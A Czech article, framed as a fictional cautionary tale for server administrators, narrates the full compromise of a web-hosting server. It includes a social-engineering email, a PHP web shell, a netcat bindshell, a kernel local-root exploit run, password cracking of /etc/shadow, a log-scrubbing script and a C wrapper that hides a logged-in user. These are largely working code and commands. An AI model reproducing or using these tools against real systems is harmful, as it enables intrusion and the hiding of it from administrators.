Fiktivní scénář jak to také může dopadnout, když administrátor serveru bere bezpečnost na lehkou váhu.
Disclaimer
Tento článek není návod jak páchat nelegální činnost. Jeho cílem je pouze poukázat, že bezpečnost je relativní pojem a občas stačí málo k tomu, aby možná způsobená škoda byla vysoká. Jeden příklad za všechny. Slovenský NBÚ a kauza kolem něj. Administrátor serveru nesmí nikdy usnout na vavřínech nebo by to mohlo dopadnou například tak, jak popisuje tento článek. Veškerá jména, názvy a IP adresy jsou smyšlené
Prolog
V tom článku se pokusím popsat situaci, která není ve světě internetové pavučiny zas až tak výjimečná. Je jím tzv. „rootnutí“ serveru. Toto divné czenglish slovo neznamená nic jiného než úplné ovládnutí serveru útočníkem, tedy to, že útočník získá práva uživatele root. Existuje snad nekonečně mnoho možností, jak se toto může útočníkovi podařit. Já popíši jeden fiktivní postup útoku fiktivního útočníka na fiktivní server. Popsána bude příprava před útokem, vlastní útok a poté snaha útočníka být na serveru co nejvíce neviditelný. Zavedeme si určité zjednodušení. Jelikož stále vypisovat „fiktivní útočník“ by bylo zdlouhavé, dáme mu jméno Alex. Alias pro „fiktivní server“ zavedu za chvíli.
Alex
Motivaci Alexe nechám na představivosti každého z vás. Jeho cíl je jasný. Našel si server, který chce ovládnout. Tímto serverem je hlavní server nějaké hostingové společnosti. Nazvěme si ji XYZhosting sídlící na doméně xyzhosting.cz. XYZhosting je menší hostingová společnost s asi dvěma tisícovkami zákazníků nabízející „kvalitní a bezpečný webhosting“. Alex však ví o bezpečnosti své. Nic mu nebrání započít jeho cestu za rootovskými právy.
Gettin' started
Alexovi by se hodilo vědět nastavení PHP, tedy v nejlepším případě výpis PHP funkce phpinfo() na serveru. Tuto informaci však hosting na svých stránkách nemá zvěřejněnou a tak ji Alex bude muset zjistit až později až bude mít na serveru svůj vlastní účet. Nyní si ještě ověří, na jakém OS běží server společnosti. Zda na GNU/Linuxu nebo zda na jiném unixu či nějakém MS OS. K tomu mu pomůže výborná utilita nmap:
$ sudo nmap -O xyzhosting.cz Starting Nmap 4.76 ( http://nmap.org ) Interesting ports on xyzhosting.cz: PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 25/tcp open smtp 80/tcp open http Device type: general purpose Running (JUST GUESSING) : Linux 2.6.X|2.4.X (97%)
Jak nmap sám píše: just guessing, tedy není stoprocentně jisté, že na serveru opravdu GNU/Linux běží, avšak je to velmi pravděpodobné. Operační systém může Alex později zjistit taktéž z phpinfo() a tak se ujistit. Dalším Alexovým cílem bude založení hostingového účtu na serveru společnosti. XYZhosting však nenabízí žádný free tarif. To však ještě neznamená, že Alex bude muset za tarif zaplatit. Založí si průměrně znějící emailovou adresu a z ní odešle mail:
To: [email protected]
From: [email protected]
Subject: Přesun prezentace na váš hosting
Dobrý den,
rád bych přesunul svoji webovou prezentaci na váš hosting. Z důvodu omezení
redakčního systému prezentace na určitou konfiguraci PHP jsem vás chtěl
poprosit, zda by nebylo možné dostat hosting na vyzkoušení na určitou
omezenou dobu - stačí týden - abych měl jistotu, že prezentace bude bude
fungovat v pořádku.
S pozdravem
Ing. Pavel Králíczek
Alex samozřejmě žádnou takovou prezentaci nemá a ani žádný pan inženýr Králíczek neexistuje (i když to není vyloučeno). Nyní musí Alex doufat, že mu bude vyhověno. Pokud však společnost stojí o nové zákazníky, je velká pravděpodobnost, že na tuto žádost přistoupí. Druhý den asi o půl páté se Alex vrátí z práce a zkontroluje svoji novou schránku:
To: [email protected]
From: [email protected]
Subject: Re: Přesun prezentace na váš hosting
Dobrý den,
Byl vám založen účet na doméně třetího řádu:
server: xyzhosting.cz
user: temp21
pass: XdRk4T8Tj
Doufám, že budete s našimi službami spokojeni.
Zdraví
Marek Důvěřivý, Obchodní manager
XYZhosting nám vyšel vstříc a z přihlašovacího jména je patrné, že Alex není není první komu hosting takto vyhověl.
Gettin' inside
Alex se z důvodu větší anonymity přihlásí na svůj nový ftp účet přes proxy server. Konečně má možnost nahrát skript, který zodpoví množství jeho otázek.
<?php
phpinfo();
?>
Takže zajímavé informace:
System | Linux php5 2.6.18
...
disable_functions | no value
Alex si tedy ověřil, že server opravdu běží na GNU/Linuxu a to s jádrem verze 2.6.18. Další zajímavou informací je kolonka s názvem disable_functions. Její hodnota „no value“ říká, že na serveru nejsou žádné PHP funkce explicitně zakázány. Na Alexově tváři můžeme pozorovat lehký úsměv. Zatím vše postupuje hladce. S nově nabytými znalostmi Alex uploaduje na server následující skript sh.php:
<?php
echo shell_exec('ls -la');
?>
Alex s očekáváním vyťuká do prohlížeče adresu skriptu: http://temp21.xyzhosting.cz/sh.php, který otestuje příkazem ls -la:
.
..
.htaccess
index.php
sh.php
Na Alexově tváři se objevil ještě větší úsměv. Znamená to, že na serveru může vykonávat libovolné příkazy. Samozřejmě ale ne jako root. Uživatele, pod kterým příkazy vykonáváme zjistíme jednoduše příkazem whoami. Ten nám prozradí, že máme uživatele wwww-data. To Alex předpokládal.
Gettin' deeper
Jelikož je Alex líný si pro každý vykonaný příkaz na serveru psát nový skript, napsal si univerzální rozhraní pro spouštění příkazů:
<form method="post" action="<?echo $_SERVER["PHP_SELF"]?>">
<input name="cmd" value="<?echo $_REQUEST["cmd"];?>" size="50"><br />
stderr: <input type="checkbox" name="stderr"<?php if (($stderr) || (!isset($stderr)) ) echo " CHECKED"; ?>>
<input type="Submit" name="exec" value="Exec">
</form>
<?
$command = $_REQUEST["cmd"];
if ($_POST["stderr"])
{
$tmpfile = tempnam('/tmp', 'phpshell');
$command .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile";
}
$output = `$command`;
echo "<pre>";
echo htmlspecialchars($output);
echo "</pre>";
?>
Nyní může Alex pohodlně pomocí příkazů cd, ls a cat procházet obsahy cizích webových prezentací a jejich zdrojových souborů. O to ale Alexovi primárně nejde. Jde mu o práva roota. Po tom, co se dostatečně po serveru porozhlédne, začne přemýšlet co dál. Na serveru může spouštět příkazy jako uživatel s omezenými právy. On ale chce roota. Řešením tohoto problému by mohl být nějaký pěkný Linux local root exploit. Chvíle googlení a Alex se dostane k tomuto veřejně dostupnému exploitu http://www.milw0rm.com/exploits/5092. Verze jádra serveru spadá mezi verze náchylné na tento exploit (2.6.17 – 2.6.24.1). Alex proto může jen doufat, že admini kernel již proti tomuto problému nezapatchovali.
Alex se nejdříve pokusí zkompilovat exploit přímo na serveru. Zdrojový kód tedy nahraje přes FTP protokol na svůj účet a přes shell_exec skript zadá: gcc surprise.c. Odpověd ho ani nepřekvapí:
/usr/bin/ld: cannot open output file a.out: Permission denied
collect2: ld returned 1 exit status
Uživatel www-data, pod kterým skript vykonává příkazy, totiž nemá dostatečná oprávnění na linker ld. To Alexovi ale nevadí. Sám používá na svém stroji 32b GNU/Linux a tak mu nic nebrání v tom, aby exploit zkompiloval u sebe a na server nahrál až výslednou binárku. Tu poté spustí pomocí shell_exec skriptu příkazem ./surprise. Odpověd serveru ho však zklame:
bash: no job control in this shell
xyzhosting:/var/www/users/temp21/http/# exit
Root is waiting
Alex si uvědomí, že musí nějakým způsobem spustit jiný shell a až v něm pak aktivovat exploit. Vytvoří si tedy bindshell pomocí své oblíbené utility netcat. Ta se na serveru již nachází, což ušetřilo Alexovi trochu práce. Přes shell_exec skript pomocí příkazu nc -vv -l -p 33333 -e /bin/bash otevře Alex na serveru port 33333, na kterém ho po připojení bude čekat nový shell. Zda se port opravdu otevřel si Alex ještě pro jistotu otestuje nmapem:
$ sudo nmap -p 33333 xyzhosting.cz
Starting Nmap 4.76 ( http://nmap.org )
Interesting ports on xyzhosting
PORT STATE SERVICE
33333/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
Nyní se Alex může bez problému ze svého lokálního stroje připojit na server na port 33333 znovu pomocí netcatu:
$nc -vv xyzhosting.cz 33333
xyzhosting.cz 33333 open
uname -a
Linux xyzhosting 2.6.18 SMP i686 GNU/Linux
Bingo! Alex má funkční bindshell. Nyní mu už jen zbývá spustit local root exploit. Při troše smůly může Alex spuštěním exploitu shodit celý server. To se však naštěstí nestalo.
$nc -vv xyzhosting.cz 33333
whoami
www-data
./surprise
bash: no job control in this shell
xyzhosting:/var/www/users/temp21/http/# whoami
root
Alex si jde do ledničky pro vychlazený sekt jako vítěz. Svůj cíl splnil. Přes binshell a local root exploit může na serveru vzdáleně pracovat jako root.
Admin advice: choose strong password
Alex by si však přál ještě něco více. Práce s bindshellem je přeci jenom méně pohodlná a kopírování souborů ze serveru obtížné. Alex by chtěl mít na server přístup přes ssh. Jak na to? Možným způsobem by bylo sehnat si seznam všech uživatelů serveru a zkusit dictionary attack na jejich hesla. Pokud si nějaký z nich či dokonce sám root zvolil slabé heslo, je poměrně velká šance, že ho Alex odhalí.
Nejdříve se tedy Alex zaměří na dva klíčové a každému, kdo se alespoň trochu orientuje v GNU/Linux doufám známé soubory: /etc/passwd a /etc/shadow. Z nich Alex zjistí jména všech uživatelů (passwd i shadow) a jejich zašifrovaná hesla (shadow). Alex si vytvoří lokální kopii souboru shadow a pokusí se o slovníkový útok. Má celkem dobrý asi 200MB velký slovník, kterému věří. K útoku použije osvědčenou rychlou aplikaci John The Ripper:
$john --wordlist=wrdlist shadow
Loaded 3 password hashes with 3 different salts (FreeBSD MD5 [32/32])
mourek (pepa)
guesses: 2 time: 0:00:28:44 100% c/s: 6251
Po necelé půlhodině má Alex další důvod k radosti. Uživatel pepa si zvolil velmi slabé heslo, pravděpodobně jméno svého domácího mazlíčka. Tím se Alexovi otevřela cesta na server přes pohodlnou službu ssh.
Becoming invisible
ssh [email protected]
[email protected]'s password:
Linux xyzhosting 2.6.18 SMP i686 GNU/Linux
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
pepa@xyzhosting:~$ whoami
pepa
pepa@xyzhosting:~$./var/www/users/temp21/http/surprise
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e02000 .. 0xb7e34000
[+] root
root@xyzhosting:~$whoami
root
Alex tak má práva uživatele root i pohodlný přístup přes ssh. Přístup přes ssh však s sebou kromě výhod přináší také jistá úskalí. Tím hlavním a nejdůležitějším je logování. Logy jsou nyní Alexovým nepřítelem, jelikož nekompromisně zaznamenávají jeho činnost v systému. Co všechno se loguje samozřejmě závisí na nastavení. Avšak například úspěšné i neúspěšné ssh přihlášení se loguje téměř vždy. Alex nemůže spoléhat na to, že se admin do logů nepodívá. Musí je tedy po sobě po každém připojení pěkně vyčistit.
Nejdříve se zaměří na logy. Grepem vyhledá veškerý výskyt jeho IP adresy ve všech souborem v adresáři /var/log:
root@xyzhosting:~$grep "212.212.212.212" /var/log/*
/var/log/auth.log:Feb 6 15:31:43 xyzhosting sshd[31212]: Accepted password for pepa from 212.212.212.212 port 34212 ssh2
Vidíme, že přístup přes ssh byl zalogovám do souboru auth.log. Alexovi tedy stačí pouze skriptem z tohoto souboru vymazat veškeré výskyty jeho IP. Alex také ví, že exitují různé IDS a bylo by nanejvýš vhodné se ujisit, že žádný není v systému nainstalován. Alex žádný IDS nenašel, což však ještě nemusí neznamenat, že tam není.
Nepřítelem číslo dva jsou utility last a lastlog, které ochotně komukoliv vypíší, kdy a odkud se který uživatel zalogoval. Toto je nepříjemné už jen z toho důvodu, že si do databáze ukládají IP adresu, odkud se uživatel připojí. To se Alexovi samozřejmě nelíbí. Přes strace si zjistí, že utilita lastlog bere údaje ze souboru /var/log/lastlog. Tento soubor je však binární, proto nelze jednoduše editovat například editorem vim. Řešením by bylo tento soubor zcela smazat, to by však bylo velice nešetrné a také je šance, že by si admin ve výpisu lastlogu všiml, že je něco špatně. Optimální by bylo tento soubor editovat a vymazat pouze údaje týkající se našeho uživatele pepa.
Na chvíli nyní opustíme utilitu lastlog a popíšeme si utilitu last. Ta má podobnou funkčnost. Chronologicky vypíše všechna přihlášení do systému taktéž s IP adresami. Last čerpá údaje ze souborů /var/log/wtmp a /var/log/utmp. Tyto soubory jsou také binární a navíc mají ještě jinou vnitřní strukturu než soubor /var/log/lastlog.
Nejvýhodnější tedy bude, když si Alex napíše aplikaci, která ze souborů lastlog, wtmp a utmp vymaže pouze záznamy týkající se konktrétního uživatele. Jelikož však Alex nerad dělá nějakou práci zbytečně, vygooglí si, zda už někdo něco podobného nenaprogramoval. Google samozřejmě najde množství výsledků a Alex si vybere tuto aplikaci logcleaner, která přesně splňuje jeho požadavky (ano, malá reklama:)).
Alex má rád jednoduché věci, proto si napíše skript, kterému pouze předá jméno uživatele, po němž mají být zahlazeny stopy a skript promaže logy a spustí aplikaci logcleaner, která promaže soubory /var/log/lastlog, /var/log/wtmp a /var/log/utmp.
#!/bin/bash
# check arg count
if [ $# -ne 1 ]; then
echo "usage: $0 user";
exit
fi
# delete all traces of user from auth.log
cat /var/log/auth.log | grep -v "$1" > /var/log/auth.logg
mv /var/log/auth.logg /var/log/auth.log
chgrp adm /var/log/auth.log
chmod 640 /var/log/auth.log
echo "auth.log cleaned"
# delete traces from utmp, wtmp and lastlog
./logcleaner -u $1
Poslední utility, kterými se Alex bude zabývat jsou utility w, who a finger. Všechny tyto utility po spuštění vypíší seznam uživatelů, kteří aktuálně v systému pracují. Alex neví, zda se administrátor serveru zná s uživatelem vlastnícím účet pepa. Je to však velmi pravděpodobné. Je dost možné, že tento účet používá sám admin, pokud zrovna nepotřebuje nejvyšší privilegia. Adminovi by potom po zadání například příkazu who bylo divné, že je pepa zrovna přihlášený a mohl by se začít pídit proč tomu tak je. To si samozřejmě Alex nepřeje. Zamyslí se tedy, jak dál postupovat.
Řešením by bylo modifikovat zdrojové soubory těchto aplikací tak, aby prostě daného uživatele nevypisovaly, poté zdrojáky přeložit a nahradit binárky na serveru. Toto je zbytečně komplikované. Jednodušší by bylo udělat skript, který by byl „nadstavbou“ těmto utilitám. Vypsal by to, co pravá utilita, jen by zachytil údaje o daném uživateli a ty by nevypsal. Taková jednoduchá „nadstavba“ pro aplikaci who by vypadala následovně:
#!/bin/bash
who $@ | grep -v "pepa"
Skripty mají však tu nevýhodu, že jsou lehce čitelné jakýmkoliv editorem. Pokud by se tedy k takovému skriptu dostal admin, hned by věděl, že tu někdo hraje špinavou hru. Alex se tedy rozhodne předchozí dvě možnosti zkombinovat. Napíše program v jazyce C, který bude dělat to co předchozí skript. Výsledkem bude binární soubor, který již nebude tak lehce čitelný (přesto kdyby někdo chtěl, mohl by použít strace či disassembling). Pro utilitu who (pro ostaní utility bude program ekvivalentní) by takový prográmek vypadal nějak takto (samozřejmě cesta k pravým utilitám musí byt nastavena korektně):
/*
* Spoofed who utility by Stoyan, 2009
*
* hide specified user if who utility is used
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define ERROR "program corrupted\n"
int main(int argc, char **argv)
{
int pid;
int pd[2];
// creates a pipe
// pd[0] ... reading from pipe
// pd[1] ... writing to pie
pipe(pd);
// 0 ... stdin
// 1 ... stdout
// 2 ... stderr
switch (pid=fork())
{
// child has died
case -1: fprintf(stderr, ERROR);
break;
// child - writes to the pipe
case 0: close(1);
dup(pd[1]);
close(pd[0]);
close(pd[1]); // generates EOF for reader
if (execv("/usr/bin/who", argv) == -1)
{
fprintf(stderr, ERROR);
exit(EXIT_FAILURE);
}
break;
// parent - reads from the pipe
default: close(0);
dup(pd[0]);
close(pd[0]);
close(pd[1]);
if (execl("/bin/grep", "grep", "-v", "pepa", NULL) == -1)
{
fprintf(stderr, ERROR);
exit(EXIT_FAILURE);
}
break;
}
// done
return EXIT_SUCCESS;
}
Nyní Alex potřebuje zajistit to, že komukoliv, kdo spustí příkaz who, w nebo finger se spustí jeho prográmek a ne pravá utilita. Všechny tyto utility jsou umístěny v adresáři /usr/bin. Pokud si Alex vypíše proměnnou PATH, uvidí toto:
root@xyzhosting:~$echo $PATH
/bin:/usr/local/bin:/usr/bin:/usr/games
Co se přesně děje, když uživatel zadá například příkaz who? Systém se podívá do prvního adresáře, který udává proměnná PATH, pokud zde program nenajde, pokračuje druhým, třetím atd. Pravé utility jsou až ve třetím adresáři. Pokud Alex své „padělky“ umístí do adresáře /bin nebo /usr/local/bin, dosáhne tak svého cíle. Malá ukázka:
pepa@xyzhosting:~$who
pepa@xyzhosting:~$
Nezobrazil se nikdo, přestože je uživatel pepa přihlášený. Stejné to je i s utilitami w a finger. Nyní již po sobě Alex nezanechává stopy po přihlášení v logu, ve výpisu utilit last ani lastlog a je nedetekovatelný standardními utilitami w, finger a who. Takto by Alex mohl ještě pokračovat a určitě to i udělá, ale pro hrubou představu to stačí.
Alex nezná přímo rootovo heslo, proto mu hrozí, že až admin updatuje kernel, jeho exploit přestane fungovat. A tak si může vyhodit rootův shell na nějaký vysoký port a připojovat se tam. Pak je ale zase šance, že admin shell s nastaveným setuid bitem odhalí a vše mu dojde. Další možností je upravit sshd daemona tak, aby po přihlášení uživatele někam uložil jeho heslo a Alex by si ho tak mohl přečíst. Jak jsem psal v úvodu, možností je nepočítaně, stačí se jen zamyslet… Jak říká jedna moudrá pravda:
Bezpečnost není produkt ale proces.